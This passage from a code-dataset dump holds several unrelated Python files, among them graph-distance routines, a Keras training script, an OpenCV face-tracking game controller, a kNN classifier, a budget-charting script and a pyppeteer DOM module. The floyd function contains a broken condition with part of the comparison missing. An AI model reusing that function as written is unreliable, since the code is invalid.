book \" + str(i+1) + \": \"\n numPages = eval(input(\"Number of pages: \"))\n totalPages = totalPages + numPages\n print (\"Total : \" + str(totalPages))\n","sub_path":"CSCI 220 - Computer Programming I (Python)/Class Notes and Files/numPagesInBooks.py","file_name":"numPagesInBooks.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"78565928","text":"# -*- coding: utf-8 -*-\r\n\r\nimport numpy as np\r\n\r\ndef build_distance(AMatrix):\r\n Num_node = AMatrix.shape[0]\r\n max_top = 6\r\n one = dict()\r\n last = dict()\r\n this = dict()\r\n update = dict()\r\n #changed = 0\r\n for i in range(Num_node):\r\n one[i] = set()\r\n last[i] = set()\r\n this[i] = set()\r\n update[i] = set()\r\n for j in range(Num_node):\r\n if (AMatrix[i,j,1]==1):\r\n one[i].add(j)\r\n last[i].add(j)\r\n elif (AMatrix[i,j,1]>1):\r\n this[i].add(j)\r\n for k in range(1,max_top):\r\n print('update:k,',k)\r\n for i in range(Num_node):\r\n if(len(this[i]) == 0):\r\n continue\r\n for ilast in last[i]:\r\n temp_update = one[ilast]&this[i]\r\n if(len(temp_update)!=0):\r\n update[i] = temp_update|update[i]\r\n for updatei in temp_update:\r\n ##changed += 1\r\n new_distance = AMatrix[ilast,updatei,0] + AMatrix[i,ilast,0]\r\n if(AMatrix[i,updatei,0]>new_distance):\r\n AMatrix[i,updatei,0] = new_distance\r\n AMatrix[updatei,i,0] = new_distance\r\n AMatrix[updatei,i,1] = k+1\r\n AMatrix[i,updatei,1] = k+1\r\n for i in range(Num_node):\r\n if(len(this[i]) == 0):\r\n continue\r\n last[i] = update[i]\r\n this[i] = this[i]-update[i]\r\n update[i] = set()\r\n #print(changed) # all = 5928909 #changed = 622398\r\n saveD = AMatrix[:,:,0]\r\n #np.savetxt('Distance.txt',saveD,fmt=\"%d\")\r\n return saveD\r\n \r\n \r\n\r\ndef floyd(AMatrix):\r\n Num_node = AMatrix.shape[0]\r\n inf = float(\"inf\")\r\n for k in range(Num_node):\r\n for i in range(Num_node):\r\n for j in range(Num_node):\r\n if (AMatrix[i,k](AMatrix[i,k]+AMatrix[k,j])):\r\n AMatrix[i,j] = AMatrix[i,k]+AMatrix[k,j]\r\n for i in range(Num_node):\r\n for j in range(Num_node):\r\n if(i>j):\r\n AMatrix[i,j] = AMatrix[j,i]\r\n return AMatrix \r\n\r\n","sub_path":"DataMind/LPA/util/build_distance.py","file_name":"build_distance.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"89817084","text":"import numpy as np\n# import math\nimport keras\nimport os\n# import tensorflow as tf\nfrom keras.models import Model, load_model\nfrom keras.layers import BatchNormalization, Dropout, Dense, Input\nfrom keras.callbacks import TensorBoard\nfrom keras import optimizers, losses\nfrom processing.DataGenerator import CustomDataGenWthTarCfg\n\nlearning_rate = 8e-3 # 学习率\n# learning_rate = 0.1\nlr_decay = 2e-1\n\n\ndef model_with_config_n_target():\n config = Input(shape=(6,), name='angles')\n target = Input(shape=(6,), name='target')\n obstacle_pos = Input(shape=(3,), name='obstacle_pos')\n obstacle_ori = Input(shape=(3,), name='obstacle_ori')\n merge1 = keras.layers.concatenate([config, target], name='merge1')\n merge1 = BatchNormalization(name='BN1')(merge1)\n x = Dense(64, activation='sigmoid', name='dense1')(merge1)\n x = Dense(32, activation='relu', name='dense2')(x)\n x = Dense(16, activation='relu', name='dense3')(x)\n #x = Dense(32, activation='relu', name='dense4')(x)\n #x = Dense(6, activation='relu', name='dense5')(x)\n y = BatchNormalization(name='BN2')(obstacle_pos)\n y = Dense(64, activation='sigmoid', name='obs_pos_dense1')(y)\n y = Dense(32, activation='relu', name='obs_pos_dense2')(y)\n y = Dense(16, activation='relu', name='obs_pos_dense3')(y)\n z = BatchNormalization(name='BN3')(obstacle_ori)\n z = Dense(64, activation='sigmoid', name='obs_ori_dense1')(z)\n z = Dense(32, activation='relu', name='obs_ori_dense2')(z)\n z = Dense(16, activation='relu', name='obs_ori_dense3')(z)\n merge2 = keras.layers.concatenate([y, z], name='obstacle')\n #merge2 = BatchNormalization(name='BN4')(merge2)\n m = Dense(64, activation='sigmoid', name='obs_dense1')(merge2)\n m = Dense(32, activation='relu', name='obs_dense2')(m)\n m = Dense(16, activation='relu', name='obs_dense3')(m)\n #m = Dense(6, activation='relu', name='obs_dense4')(m)\n merge3 = keras.layers.concatenate([x, m], name='merge3')\n final = Dense(128, activation='relu', name='final1')(merge3)\n final = Dense(64, activation='relu', name='final2')(final)\n final = Dense(32, activation='relu', name='final3')(final)\n final = Dense(16, activation='relu', name='final4')(final)\n final_output = Dense(6, name='final_output')(final)\n model = Model(inputs=[config, target, obstacle_pos, obstacle_ori],\n outputs=final_output)\n model.compile(loss='mse',\n optimizer=optimizers.Adam(lr=learning_rate, beta_1=0.9, beta_2=0.999, decay=lr_decay),\n metrics=['mae'])\n return model\n\n\ndef train_with_generator(datapath, batch_size, epochs):\n # model = model_with_config_n_target()\n h5file = '../train/h5files/test_with_target_obstacle_6.h5'\n model = load_model(h5file)\n model.compile(loss='mae',\n optimizer=optimizers.Adam(lr=4e-4, beta_1=0.9, beta_2=0.999, decay=0.5),\n metrics=['mae'])\n dirlist = os.listdir(datapath)\n id_list = []\n for d in dirlist:\n for i in range(50):\n id_list.append(d + '-' + str(i))\n id_size = len(id_list)\n train_size = int(0.7 * id_size)\n np.random.shuffle(id_list)\n train_list = id_list[:train_size]\n vali_list = id_list[train_size:]\n train_gen = CustomDataGenWthTarCfg(datapath=datapath,\n list_IDs=train_list,\n data_size=50,\n batch_size=batch_size)\n vali_gen = CustomDataGenWthTarCfg(datapath=datapath,\n list_IDs=vali_list,\n data_size=50,\n batch_size=batch_size)\n model.fit_generator(generator=train_gen,\n epochs=epochs,\n validation_data=vali_gen,\n use_multiprocessing=True,\n callbacks=[TensorBoard(log_dir='./tensorboard_logs/target_obstacle_7/log')],\n workers=2)\n model.save('./h5files/test_with_target_obstacle_7.h5')\n\n\nif __name__ == '__main__':\n train_with_generator('/home/czj/vrep_path_dataset/4/', 50, 10)\n","sub_path":"backup/training_imgless2 (copy).py","file_name":"training_imgless2 (copy).py","file_ext":"py","file_size_in_byte":4182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"221500068","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Apr 1 11:54:59 2018\n\n@author: Ryan_Siv\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nimport os\nimport cv2\nfrom google.oauth2 import service_account\nfrom google.cloud import vision\nfrom google.cloud.vision import types\nfrom breakout1 import Brickgame\n\n\ndef main():\n \n dir_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n api_key = 'My First Project-e65c2d409577.json'\n client = authenticate(dir_path, api_key)\n\n \n #Setting Image size to match Game Window Size\n frames = Brickgame.screen_dim\n \n ## Camera Set-up\n cap = cv2.VideoCapture(0)\n cap.set(cv2.CAP_PROP_FPS, 30) \n cap.set(cv2.CAP_PROP_FRAME_WIDTH, frames[0])\n cap.set(cv2.CAP_PROP_FRAME_HEIGHT, frames[1])\n \n ## Classifier S\n \n nose_cascade = cv2.CascadeClassifier('./haarcascade_mcs_nose.xml')\n \n ## Initalize Game\n game = Brickgame()\n \n ## Main Loop\n while True:\n # Retrieve Camera Frames\n ret, frame = cap.read()\n coords = process_test(frame,nose_cascade)\n# cv2.circle(frame, (int(coords[0]), int(coords[1])), 10, (0,255,0), -1)\n cv2.imshow('img',frame)\n vector = convert_coords(coords, frames)\n game.run(vector)\n \n \n if cv2.waitKey(1) & 0xFF == ord('y'):\n break\n \n cap.release()\n cv2.destroyAllWindows()\n \n\ndef authenticate(dir_path, api):\n ## Load API Information from .json\n api_key = os.path.join(dir_path,api)\n credentials = service_account.Credentials.from_service_account_file(api_key)\n \n ## Create Instance of Image Annotater with Credentials\n client = vision.ImageAnnotatorClient(credentials = credentials)\n return client\n\ndef process_images(image, client):\n ## Convert CV2 Image/numpy img to bitarray\n bit_arr = cv2.imencode('.jpg', image)[1].tostring()\n # Base 64 Encode bit array\n content = types.Image(content=bit_arr)\n # Send to API for extraction\n response = client.face_detection(image = content)\n faces = response.face_annotations\n Nose_tip_coords = faces[0].landmarks[7] # Extract Nose Tip Coordinates\n return((Nose_tip_coords.position.x,Nose_tip_coords.position.y,Nose_tip_coords.position.z))\n \ndef process_test(image, classifier):\n \"\"\"\n Temporary Test function using openCV for prototyping before switching to google cloud API\n \"\"\"\n img = classifier.detectMultiScale(image)\n for (x,y,w,h) in img:\n cv2.rectangle(image, (x,y), (x+w,y+h), (0,255,0), 3)\n return ((x+w/2, y+h/2,0))\n return None\n \ndef convert_coords(face_coords,frames):\n \"\"\"\n Converts face coords into vectors for game control.\n \"\"\"\n ## reverse coordinates\n frame_width = frames[0]\n divisions = 8\n interval = frame_width/divisions\n if face_coords:\n x = face_coords[0]\n nose_coord = (x- frame_width/2)\n vector = int(nose_coord // interval) + int(round((nose_coord % interval)/interval))\n return vector \n else:\n return 0\n \n\n \nmain()","sub_path":"Opencv/opencv_test.py","file_name":"opencv_test.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"392209768","text":"from numpy import *\nimport operator\n\ndef createDataSet():\n group= array([[1.0,1.1],[1.0,1.0],[0,0],[0,0.1]])\n labels=['A','A','B','B']\n return group,labels\n\ndef classify0(inX,dataSet,labels):\n numberOfRowsInDataSet=dataSet.shape[0]\n differnceBetweenTestCaseAndOtherRowsInDataset = tile(inX,(numberOfRowsInDataSet,1)) -dataSet\n sqDiffMat =differnceBetweenTestCaseAndOtherRowsInDataset**2\n sqDistances =sqDiffMat.sum(axis=1)\n distances =sqDistances ** 0.5\n sortedDistIndicies =distances.argsort();\n classCount={}\n for i in range(numberOfRowsInDataSet-1):\n voteIlabel=labels[sortedDistIndicies[i]]\n classCount[voteIlabel]=classCount.get(voteIlabel,0) +1\n sortedClassCount=sorted(classCount.items(), key=operator.itemgetter(1),reverse =True)\n return sortedClassCount[0] [0]\n\n","sub_path":"kNN.py","file_name":"kNN.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"302890663","text":"import csv\nfrom matplotlib.backends.backend_pdf import PdfPages\nimport matplotlib.pyplot as plt\n\n\nclass OutputPictures:\n\n @staticmethod\n def write(month):\n\n if month.sumTotal != 0:\n plt.bar(range(1, month.numberOfDays + 1), month.sumOfDays)\n plt.ylabel('zł')\n plt.title(month.monthString + ' - dzienne wydatki')\n plt.gcf().text(0.2, 0.03, 'Sum:' + str(round(month.sumTotal, 2)) + ' zł,' + ' Average expenses: ' +\n str(round(month.averageExpenses, 2)) + ' zł', fontsize=12)\n pp.savefig()\n # opcjonalne pokazanie okienka z rysunkiem\n # plt.show()\n plt.close()\n\n plt.bar(month.categoryList.keys(), month.categoryList.values())\n plt.ylabel('zł')\n plt.title('{} - podział na kategorie'.format(month.monthString))\n pp.savefig()\n # opcjonalne pokazanie okienka z rysunkiem\n # plt.show()\n plt.close()\n\n\nclass ChartData:\n '''\n Przed uruchomieniem programu należy usunąć w pliku cvs zdublowaną kolumnę\n Nie zostały dodane dekoratory @property - szkoda kodu na taki mały program\n '''\n def __init__(self, monthstring='', numberofdays=30):\n self.categoryList = {'Jedzenie': 0.0, 'Czynsz': 0.0, 'Transport': 0.0, 'Odzież': 0.0,\n 'Buty': 0.0, 'Zabawa': 0.0}\n self.numberOfDays = numberofdays\n self.monthString = monthstring\n self.sumOfDays = [0.0] * self.numberOfDays\n self.sumTotal = 0.0\n self.averageExpenses = 0.0\n\n def day_converter(self, daycopy, rowcopy):\n # kasowanie pierwszej cyfry, o ile wystąpi format [00]\n if daycopy[0] == '0':\n daycopy = daycopy[1]\n\n self.sumOfDays[int(daycopy) - 1] += float(rowcopy[\"Amount\"])\n self.sumTotal += float(rowcopy[\"Amount\"])\n\n def sum_total(self):\n self.sumTotal = sum(self.sumOfDays)\n\n\n def average_expenses(self): # do przerobienia\n self.averageExpenses = (self.sumTotal/float(self.numberOfDays))\n\n def add(self, categoryamount, string):\n self.categoryList[string] += categoryamount\n\n# Obiekt zapisujący wykresy\npp = PdfPages(\"charts.pdf\")\n\n# Lista miesięcy\nlistOfMonths = {'00': ChartData('Styczeń', 31), '01': ChartData('Styczeń', 31), '02': ChartData('Luty', 28),\n '03': ChartData('Marzec', 31),\n '04': ChartData('Kwiecień', 30),'05': ChartData('Maj', 31),\n '06': ChartData('Czerwiec', 30), '07': ChartData('Lipiec', 31),\n '08': ChartData('Sierpień', 31), '09': ChartData('Wrzesień', 30), '10': ChartData('Październik', 31),\n '11': ChartData('Listopad', 30), '12': ChartData('Grudzień', 31)}\n\n# Główny program\n# Miesiące w listOfMonths są przyporządkowane do liczb typu string, w celu łatwego połączenia je\n# ze stringiem month z pliku csv\nwith open('csvFile.csv') as myFile:\n read = csv.DictReader(myFile, delimiter=';')\n\n # Wydobywanie informacji z pliku csv\n for row in read:\n if row['Type'] == '1':\n day, month, year = row['Operation date'].split('-')\n\n # Przyporządkowanie wydatku\n listOfMonths[month].day_converter(str(day), row)\n if row['Category'] in listOfMonths[month].categoryList:\n listOfMonths[month].add(float(row['Amount']), row['Category'])\n\n\n# Generowanie średniej, sumy oraz zapisywanie wyników\nfor key,value in listOfMonths.items():\n #Obliczanie średniej\n value.average_expenses()\n OutputPictures.write(value)\npp.close()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"63308438","text":"import asyncio\nfrom asyncio import Future, Task\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Any, Awaitable, Callable, Dict, Generator, List, Optional, Set, Union\n\nfrom pyppeteer import helpers\nfrom pyppeteer.errors import BrowserError, NetworkError, PageError\nfrom pyppeteer.lifecycle_watcher import LifecycleWatcher\nfrom pyppeteer.models import JSFunctionArg, MouseButton\nfrom pyppeteer.timeout_settings import TimeoutSettings\n\nif TYPE_CHECKING:\n from pyppeteer.jshandle import JSHandle, ElementHandle\n from pyppeteer.frame import Frame, FrameManager\n from pyppeteer.execution_context import ExecutionContext\n\n\nasync def readFileAsync(path, encoding):\n return Path(path).read_text(encoding=encoding)\n\n\nclass DOMWorld:\n def __init__(\n self, frameManager: 'FrameManager', frame: 'Frame', timeoutSettings: TimeoutSettings,\n ):\n self._frameManager = frameManager\n self._frame = frame\n self._timeoutSettings = timeoutSettings\n self.loop = self._frameManager._client.loop\n\n self._documentTask: Optional[Task['ElementHandle']] = None\n self._contextFuture: Optional[Future['ExecutionContext']] = None\n self._contextResolveCallback: Optional[Callable] = None\n self._setContext()\n\n self._waitTasks: Set[WaitTask] = set()\n self._detached = False\n\n # Aliases for query methods:\n self.J = self.querySelector\n self.Jx = self.xpath\n self.Jeval = self.querySelectorEval\n self.JJ = self.querySelectorAll\n self.JJeval = self.querySelectorAllEval\n\n @property\n def frame(self) -> 'Frame':\n return self._frame\n\n def _setContext(self, context: Optional['ExecutionContext'] = None) -> None:\n if context:\n self._contextResolveCallback(context)\n self._contextResolveCallback = None\n for waitTask in self._waitTasks:\n waitTask.rerun()\n else:\n self._documentTask = None\n self._contextFuture = self.loop.create_future()\n self._contextResolveCallback = lambda _: self._contextFuture.set_result(_)\n\n def _hasContext(self) -> bool:\n return not self._contextResolveCallback\n\n def _detach(self) -> None:\n self._detached = True\n for task in self._waitTasks:\n task.terminate(BrowserError('waitForFunctions failed: frame got detached.'))\n\n @property\n async def executionContext(self) -> Optional['ExecutionContext']:\n if self._detached:\n raise BrowserError(\n 'Execution Context is not available in detached '\n f'frame: {self._frame.url} (are you trying to evaluate?)'\n )\n return await self._contextFuture if self._contextFuture else None\n\n async def evaluateHandle(self, pageFunction: str, *args: JSFunctionArg) -> 'ElementHandle':\n context = await self.executionContext\n return context.evaluateHandle(pageFunction=pageFunction, *args)\n\n async def evaluate(self, pageFunction: str, *args: JSFunctionArg):\n context = await self.executionContext\n return await context.evaluate(pageFunction, *args)\n\n async def querySelector(self, selector: str) -> Optional['ElementHandle']:\n document = await self._document\n return await document.querySelector(selector)\n\n @property\n def _document(self) -> Awaitable['ElementHandle']:\n if self._documentTask:\n return self._documentTask\n\n async def create_document_fut() -> 'ElementHandle':\n nonlocal self\n context = await self.executionContext\n document = await context.evaluateHandle('document')\n return document.asElement()\n\n self._documentTask = self.loop.create_task(create_document_fut())\n return self._documentTask\n\n async def xpath(self, expression: str) -> List['ElementHandle']:\n document = await self._document\n return await document.xpath(expression)\n\n async def querySelectorEval(self, selector: str, pageFunction: str, *args: JSFunctionArg) -> Any:\n document = await self._document\n return await document.querySelectorEval(selector, pageFunction, *args)\n\n async def querySelectorAll(self, selector: str) -> List['ElementHandle']:\n \"\"\"Get all elements which matches `selector`.\n\n Details see :meth:`pyppeteer.page.Page.querySelectorAll`.\n \"\"\"\n document = await self._document\n value = await document.querySelectorAll(selector)\n return value\n\n async def querySelectorAllEval(self, selector: str, pageFunction: str, *args: JSFunctionArg) -> Optional[Dict]:\n \"\"\"Execute function on all elements which matches selector.\n\n Details see :meth:`pyppeteer.page.Page.querySelectorAllEval`.\n \"\"\"\n document = await self._document\n value = await document.JJeval(selector, pageFunction, *args)\n return value\n\n @property\n async def content(self) -> str:\n return await self.evaluate(\n \"\"\"\n () => {\n let retVal = '';\n if (document.doctype)\n retVal = new XMLSerializer().serializeToString(document.doctype);\n if (document.documentElement)\n retVal += document.documentElement.outerHTML;\n return retVal;\n }\n \"\"\"\n )\n\n async def setContent(self, html: str, waitUntil=None, timeout=None) -> None:\n if timeout is None:\n timeout = self._timeoutSettings.navigationTimeout\n if waitUntil is None:\n waitUntil = ['load']\n await self.evaluate(\n \"\"\"\n html => {\n document.open();\n document.write(html);\n document.close();\n }\n \"\"\",\n html,\n )\n watcher = LifecycleWatcher(\n frameManager=self._frameManager, frame=self._frame, waitUntil=waitUntil, timeout=timeout\n )\n error = await helpers.future_race(watcher.timeoutOrTerminationFuture, watcher.lifecycleFuture)\n watcher.dispose()\n if error:\n raise error\n\n async def addScriptTag(\n self,\n url: Optional[str] = None,\n path: Optional[Union[str, Path]] = None,\n content: Optional[str] = None,\n type_: str = '',\n ) -> Union['ElementHandle', 'JSHandle']:\n addScriptUrl = \"\"\"\n async function addScriptUrl(url, type) {\n const script = document.createElement('script');\n script.src = url;\n if (type)\n script.type = type;\n const promise = new Promise((res, rej) => {\n script.onload = res;\n script.onerror = rej;\n });\n document.head.appendChild(script);\n await promise;\n return script;\n }\n \"\"\"\n addScriptContent = \"\"\"\n function addScriptContent(content, type = 'text/javascript') {\n const script = document.createElement('script');\n script.type = type;\n script.text = content;\n let error = null;\n script.onerror = e => error = e;\n document.head.appendChild(script);\n if (error)\n throw error;\n return script;\n }\n \"\"\"\n context = await self.executionContext\n if url:\n try:\n return await context.evaluateHandle(addScriptUrl, url, type_)\n except Exception as e:\n raise BrowserError(f'Loading script from {url} failed: {e}')\n if path:\n path = Path(path)\n if not path.exists():\n raise FileNotFoundError(f'The specified file, {path.name}, does not exist')\n if not path.is_file():\n raise ValueError(f'The specified path, {path.name}, is not a file')\n contents = await readFileAsync(path, 'utf8')\n contents += '//# sourceURL' + path.name\n f = context.evaluateHandle(addScriptContent, contents, type_)\n return (await f).asElement()\n if content:\n f = context.evaluateHandle(addScriptContent, content, type_)\n return (await f).asElement()\n raise BrowserError('provide a url, path or content argument')\n\n async def addStyleTag(\n self, url: Optional[str] = None, path: Optional[Union[Path, str]] = None, content: Optional[str] = None\n ) -> 'ElementHandle':\n addStyleUrl = \"\"\"\n async function addStyleUrl(url) {\n const link = document.createElement('link');\n link.rel = 'stylesheet';\n link.href = url;\n const promise = new Promise((res, rej) => {\n link.onload = res;\n link.onerror = rej;\n });\n document.head.appendChild(link);\n await promise;\n return link;\n }\n \"\"\"\n addStyleContent = \"\"\"\n async function addStyleContent(content) {\n const style = document.createElement('style');\n style.type = 'text/css';\n style.appendChild(document.createTextNode(content));\n const promise = new Promise((res, rej) => {\n style.onload = res;\n style.onerror = rej;\n });\n document.head.appendChild(style);\n await promise;\n return style;\n }\n \"\"\"\n context = await self.executionContext\n if url:\n try:\n return (await context.evaluateHandle(addStyleUrl, url)).asElement()\n except Exception as e:\n raise BrowserError(f'Loading style from {url} failed')\n\n if path:\n path = Path(path)\n contents = await readFileAsync(path, 'utf8')\n contents += f'/*# sourceURL={path.name}*/'\n return (await context.evaluateHandle(addStyleContent, contents)).asElement()\n\n if content:\n return (await context.evaluateHandle(addStyleContent, content)).asElement()\n raise BrowserError('provide an object with url, path or content property')\n\n async def _select_handle(self, selector: str) -> 'ElementHandle':\n handle = await self.querySelector(selector)\n if not handle:\n raise BrowserError(f'No node found for selector: {selector}')\n return handle\n\n async def click(self, selector: str, button: MouseButton = 'left', clickCount: int = 1, delay: float = 0) -> None:\n \"\"\"\n :param selector: CSS selector for element\n :param button:\n :param delay:\n :param clickCount:\n :return:\n \"\"\"\n handle = await self._select_handle(selector)\n await handle.click(button=button, clickCount=clickCount, delay=delay)\n await handle.dispose()\n\n async def focus(self, selector: str) -> None:\n handle = await self._select_handle(selector)\n await handle.focus()\n await handle.dispose()\n\n async def hover(self, selector: str) -> None:\n handle = await self._select_handle(selector)\n await handle.hover()\n await handle.dispose()\n\n async def select(self, selector: str, *values: str) -> List[str]:\n handle = await self._select_handle(selector)\n result = await handle.select(*values)\n await handle.dispose()\n return result\n\n async def tap(self, selector: str) -> None:\n handle = await self._select_handle(selector)\n await handle.tap()\n await handle.dispose()\n\n async def type(self, selector: str, text: str, delay: float = 0) -> None:\n handle = await self._select_handle(selector)\n await handle.type(text=text, delay=delay)\n await handle.dispose()\n\n async def waitForSelector(\n self, selector: str, visible: bool = False, hidden: bool = False, timeout: float = None\n ) -> Optional['ElementHandle']:\n return await self._waitForSelectorOrXpath(\n selector, isXPath=False, visible=visible, hidden=hidden, timeout=timeout\n )\n\n async def waitForXpath(\n self, xpath: str, visible: bool = False, hidden: bool = False, timeout: float = None\n ) -> Optional['ElementHandle']:\n return await self._waitForSelectorOrXpath(xpath, isXPath=True, visible=visible, hidden=hidden, timeout=timeout)\n\n async def waitForFunction(\n self, pageFunction: str, *args: JSFunctionArg, polling: str = 'raf', timeout: Optional[float] = None,\n ) -> 'JSHandle':\n if not timeout:\n timeout = self._timeoutSettings.timeout\n return await WaitTask(self, pageFunction, 'function', polling, timeout, self.loop, *args).promise\n\n @property\n async def title(self) -> str:\n return await self.evaluate('document.title')\n\n async def _waitForSelectorOrXpath(\n self,\n selectorOrXpath: str,\n isXPath: bool,\n visible: bool = False,\n hidden: bool = False,\n timeout: Optional[float] = None,\n ) -> Optional['ElementHandle']:\n if not timeout:\n timeout = self._timeoutSettings.timeout\n if visible or hidden:\n polling = 'raf'\n else:\n polling = 'mutation'\n title = f\"{'XPath' if isXPath else 'selector'} {selectorOrXpath}{' to be hidden' if hidden else ''}\"\n predicate = \"\"\"\n function predicate(selectorOrXPath, isXPath, waitForVisible, waitForHidden) {\n const node = isXPath\n ? document.evaluate(selectorOrXPath, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue\n : document.querySelector(selectorOrXPath);\n if (!node)\n return waitForHidden;\n if (!waitForVisible && !waitForHidden)\n return node;\n const element = /** @type {Element} */ (node.nodeType === Node.TEXT_NODE ? node.parentElement : node);\n\n const style = window.getComputedStyle(element);\n const isVisible = style && style.visibility !== 'hidden' && hasVisibleBoundingBox();\n const success = (waitForVisible === isVisible || waitForHidden === !isVisible);\n return success ? node : null;\n\n /**\n * @return {boolean}\n */\n function hasVisibleBoundingBox() {\n const rect = element.getBoundingClientRect();\n return !!(rect.top || rect.bottom || rect.width || rect.height);\n }\n }\n \"\"\"\n waitTask = WaitTask(self, predicate, title, polling, timeout, self.loop, selectorOrXpath, isXPath, visible, hidden)\n handle = await waitTask.promise\n if not handle.asElement():\n await handle.dispose()\n return None\n return handle.asElement()\n\n\nclass WaitTask:\n \"\"\"WaitTask class.\n\n Instance of this class is awaitable.\n \"\"\"\n\n def __init__(\n self,\n domWorld: DOMWorld,\n predicateBody: str,\n title: str,\n polling: Union[str, int],\n timeout: float,\n loop: asyncio.AbstractEventLoop,\n *args: JSFunctionArg,\n ) -> None:\n if isinstance(polling, str):\n if polling not in ['raf', 'mutation']:\n raise ValueError(f'Unknown polling: {polling}')\n elif isinstance(polling, (int, float)):\n if polling <= 0:\n raise ValueError(f'Cannot poll with non-positive interval: {polling}')\n else:\n raise ValueError(f'Unknown polling option: {polling}')\n\n self._domWorld = domWorld\n self._polling = polling\n self._timeout = timeout\n self.loop = loop\n if args or helpers.is_js_func(predicateBody):\n self._predicateBody = f'return ({predicateBody})(...args)'\n else:\n self._predicateBody = f'return {predicateBody}'\n self._args = args\n self._runCount = 0\n self._terminated = False\n self._timeoutError = False\n domWorld._waitTasks.add(self)\n\n self.promise = self.loop.create_future()\n\n async def timer(timeout: float) -> None:\n await asyncio.sleep(timeout / 1000)\n self._timeoutError = True\n self.terminate(TimeoutError(f'Waiting for {title} failed: timeout of {timeout}ms exceeded.'))\n\n if timeout:\n self._timeoutTimer = self.loop.create_task(timer(self._timeout))\n self._runningTask: Optional[Task] = self.loop.create_task(self.rerun())\n\n def __await__(self) -> Generator:\n \"\"\"Make this class **awaitable**.\"\"\"\n result = yield from self.promise\n if isinstance(result, Exception):\n raise result\n return result\n\n def terminate(self, error: Exception) -> None:\n \"\"\"Terminate this task.\"\"\"\n self._terminated = True\n if not self.promise.done():\n self.promise.set_exception(error)\n self._cleanup()\n\n async def rerun(self) -> None: # noqa: C901\n \"\"\"Start polling.\"\"\"\n runCount = self._runCount = self._runCount + 1\n success: Optional['JSHandle'] = None\n error = None\n\n try:\n if await self._domWorld.executionContext is None:\n raise PageError(f'No execution context for {self._domWorld}')\n context = await self._domWorld.executionContext\n success = await context.evaluateHandle(\n waitForPredicatePageFunction, self._predicateBody, self._polling, self._timeout, *self._args,\n )\n except Exception as e:\n error = e\n\n if self.promise.done():\n return\n\n if self._terminated or runCount != self._runCount:\n if success:\n await success.dispose()\n return\n\n # Add try/except referring to puppeteer.\n try:\n if not error and success and (await self._domWorld.evaluate('s => !s', success)):\n await success.dispose()\n return\n except NetworkError:\n if success is not None:\n await success.dispose()\n return\n\n # page is navigated and context is destroyed.\n # Try again in the new execution context.\n if isinstance(error, NetworkError) and 'Execution context was destroyed' in error.args[0]:\n return\n\n # Try again in the new execution context.\n if isinstance(error, NetworkError) and 'Cannot find context with specified id' in error.args[0]:\n return\n\n if error:\n self.promise.set_exception(error)\n else:\n self.promise.set_result(success)\n\n self._cleanup()\n\n def _cleanup(self) -> None:\n if self._timeout and not self._timeoutError:\n self._timeoutTimer.cancel()\n self._domWorld._waitTasks.remove(self)\n self._runningTask = None\n\n\nwaitForPredicatePageFunction = \"\"\"\nasync function waitForPredicatePageFunction(predicateBody, polling, timeout, ...args) {\n const predicate = new Function('...args', predicateBody);\n let timedOut = false;\n if (timeout)\n setTimeout(() => timedOut = true, timeout);\n if (polling === 'raf')\n return await pollRaf();\n if (polling === 'mutation')\n return await pollMutation();\n if (typeof polling === 'number')\n return await pollInterval(polling);\n\n /**\n * @return {!Promise<*>}\n */\n function pollMutation() {\n const success = predicate.apply(null, args);\n if (success)\n return Promise.resolve(success);\n\n let fulfill;\n const result = new Promise(x => fulfill = x);\n const observer = new MutationObserver(mutations => {\n if (timedOut) {\n observer.disconnect();\n fulfill();\n }\n const success = predicate.apply(null, args);\n if (success) {\n observer.disconnect();\n fulfill(success);\n }\n });\n observer.observe(document, {\n childList: true,\n subtree: true,\n attributes: true\n });\n return result;\n }\n\n /**\n * @return {!Promise<*>}\n */\n function pollRaf() {\n let fulfill;\n const result = new Promise(x => fulfill = x);\n onRaf();\n return result;\n\n function onRaf() {\n if (timedOut) {\n fulfill();\n return;\n }\n const success = predicate.apply(null, args);\n if (success)\n fulfill(success);\n else\n requestAnimationFrame(onRaf);\n }\n }\n\n /**\n * @param {number} pollInterval\n * @return {!Promise<*>}\n */\n function pollInterval(pollInterval) {\n let fulfill;\n const result = new Promise(x => fulfill = x);\n onTimeout();\n return result;\n\n function onTimeout() {\n if (timedOut) {\n fulfill();\n return;\n }\n const success = predicate.apply(null, args);\n if (success)\n fulfill(success);\n else\n setTimeout(onTimeout, pollInterval);\n }\n }\n}\n\"\"\"\n","sub_path":"pyppeteer/domworld.py","file_name":"domworld.py","file_ext":"py","file_size_in_byte":20739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"636996246","text":"\"\"\"\nFor example,\nGiven s = \"the sky is blue\",\nreturn \"blue is sky the\".\n\nCould you do it in-place without allocating extra space?\n\n\"\"\"\n\n\ndef reverseUtil(word, i, j):\n while i < j:\n word[i], word[j] = word[j], word[i]\n i +=1\n j -=1\n \n \n \n\ndef reverseWord(word):\n i = 0\n word = list(word)\n for j in xrange(1,len(word)):\n if word[j] == \" \":\n reverseUtil(word, i, j-1)\n i = j + 1\n \n reverseUtil(word, i, len(word)-1)\n reverseUtil(word, 0, len(word)-1)\n word = \"\".join(word)\n return word\n\n\nif __name__ == \"__main__\":\n word = \"the sky is blue\"\n 